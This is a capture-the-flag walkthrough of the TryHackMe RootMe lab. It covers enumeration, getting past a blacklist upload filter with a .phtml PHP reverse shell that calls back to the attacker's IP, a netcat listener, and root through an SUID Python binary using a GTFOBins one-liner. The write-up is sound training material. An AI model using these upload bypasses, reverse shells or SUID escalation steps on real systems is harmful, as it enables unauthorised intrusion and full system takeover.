TryHackMe: RootMe Walkthrough
Complete walkthrough of the beginner-friendly TryHackMe RootMe CTF machine. Bypassing basic file upload filters with .phtml, catching a reverse shell, and escalating privileges to root using an SUID Python binary.
Overview
RootMe is one of the most popular beginner rooms on TryHackMe, and for good reason. It was one of the very first CTF machines I attempted when I started getting serious about hands-on penetration testing.
The machine teaches two fundamental concepts that every security learner needs to know:
- How basic file upload filters can often be bypassed by trying alternate executable extensions.
- How to audit Linux file permissions to find misconfigured SUID binaries and turn them into an instant root shell.
If you are just getting started with web exploitation and Linux privilege escalation, this box is a great confidence booster. Here is how I approached and solved it step by step.
1. Initial Reconnaissance & Port Scanning
I started by scanning the target machine IP address with Nmap to see what services were active:
1
sudo nmap -sCV -p- -T4 -oN nmap_rootme.txt 10.10.233.74
The scan finished and revealed two open ports:
1
2
3
4
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Findings:
- Port 22 (SSH): Running OpenSSH 8.2p1. Standard SSH server.
- Port 80 (HTTP): Apache 2.4.41 hosting a web server. This looked like our primary attack vector.
2. Directory Enumeration with Gobuster
Visiting http://10.10.233.74 in my browser brought up a simple landing page with minimal content. Checking the page source did not reveal any comments or hidden hints, so I turned to directory brute-forcing with Gobuster:
1
2
3
4
gobuster dir \
-u http://10.10.233.74 \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
-t 40
Gobuster quickly returned two interesting endpoints:
1
2
/uploads (Status: 301)
/panel (Status: 301)
/panel: A web interface allowing users to upload files./uploads: A public directory listing where uploaded files get stored.
Having both an upload form and a public directory to view or execute uploaded files is the classic recipe for gaining a reverse shell.
3. Bypassing File Upload Restrictions
I navigated to http://10.10.233.74/panel.
I grabbed the standard PentestMonkey PHP reverse shell script (php-reverse-shell.php), edited the configuration with my attack box VPN IP address and listening port:
1
2
$ip = '10.9.x.x'; // My TryHackMe tun0 IP
$port = 9090; // Listener port
When I tried uploading shell.php, the web application rejected it with a red warning message: PHP files were not permitted.
The Extension Bypass Trick
Many web applications use simple blacklist filtering (checking if the filename ends in .php) rather than strict whitelisting. Apache web servers are often configured to execute other extensions through PHP, such as:
.phtml.php3,.php4,.php5.phar
I renamed the reverse shell script to shell.phtml:
1
mv shell.php shell.phtml
I re-uploaded shell.phtml. This time, the application accepted the file and displayed a green success message.
I checked http://10.10.233.74/uploads in my browser, and shell.phtml was sitting right there.
4. Catching the Initial Reverse Shell
Before triggering the script, I set up a Netcat listener on my local machine:
1
nc -lvnp 9090
Then, I clicked on shell.phtml in the /uploads/ directory.
The browser hung for a moment, and my Netcat terminal lit up with a connection:
1
2
3
4
Connection from 10.10.233.74:42318 received!
Linux rootme 5.4.0-80-generic #90-Ubuntu SMP Fri Jul 9 22:49:44 UTC 2021 x86_64
whoami
www-data
We had initial access as the web server user www-data.
Finding the User Flag
I looked for the user flag in common locations:
1
cat /var/www/user.txt
1
THM{y0u_g0t_a_sh3ll}
First flag captured!
5. Privilege Escalation: Hunting SUID Binaries
To move from www-data to root, I started looking for privilege escalation vectors. A great first check on any Linux CTF box is hunting for SUID (Set User ID) binaries.
When a binary has the SUID bit set, it runs with the permissions of the file owner (usually root), regardless of who executes it:
1
find / -perm -u=s -type f 2>/dev/null
Looking through the list of standard utilities (/usr/bin/passwd, /usr/bin/sudo, /bin/ping), one entry immediately jumped out:
1
/usr/bin/python2.7
Python should almost never have an SUID bit set in a production environment because it allows anyone to run arbitrary Python code (and system calls) with root permissions.
6. Exploiting SUID Python via GTFOBins
Whenever I spot an unusual SUID binary, my first destination is GTFOBins.
GTFOBins provides a one-liner to spawn a shell that preserves root privileges using Python’s os.execl function:
1
python2.7 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
Let us look closely at what the -p flag does:
- By default, modern
/bin/shor/bin/bashdrops elevated SUID privileges when invoked if the real user ID does not match the effective user ID. - The
-pflag instructs the shell to preserve effective privileges instead of dropping them.
I ran the command:
1
2
3
4
5
$ python2.7 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# whoami
root
# id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
Effective UID is 0 (root). We are officially root!
I grabbed the root flag:
1
cat /root/root.txt
1
THM{pr1v1l3g3_3sc4l4t10n}
Key Lessons From RootMe
- Test alternative file extensions: Don’t stop when
.phpis blocked. Try.phtml,.php5,.phar, or double extensions (shell.php.png) to test how the upload filter handles variations. - Make SUID auditing a habit: Running
find / -perm -u=s -type f 2>/dev/nullshould be one of the very first commands you run after landing a low-privilege shell. - Know your GTFOBins commands: GTFOBins is an essential resource for understanding how built-in system tools can be turned into interactive root shells.
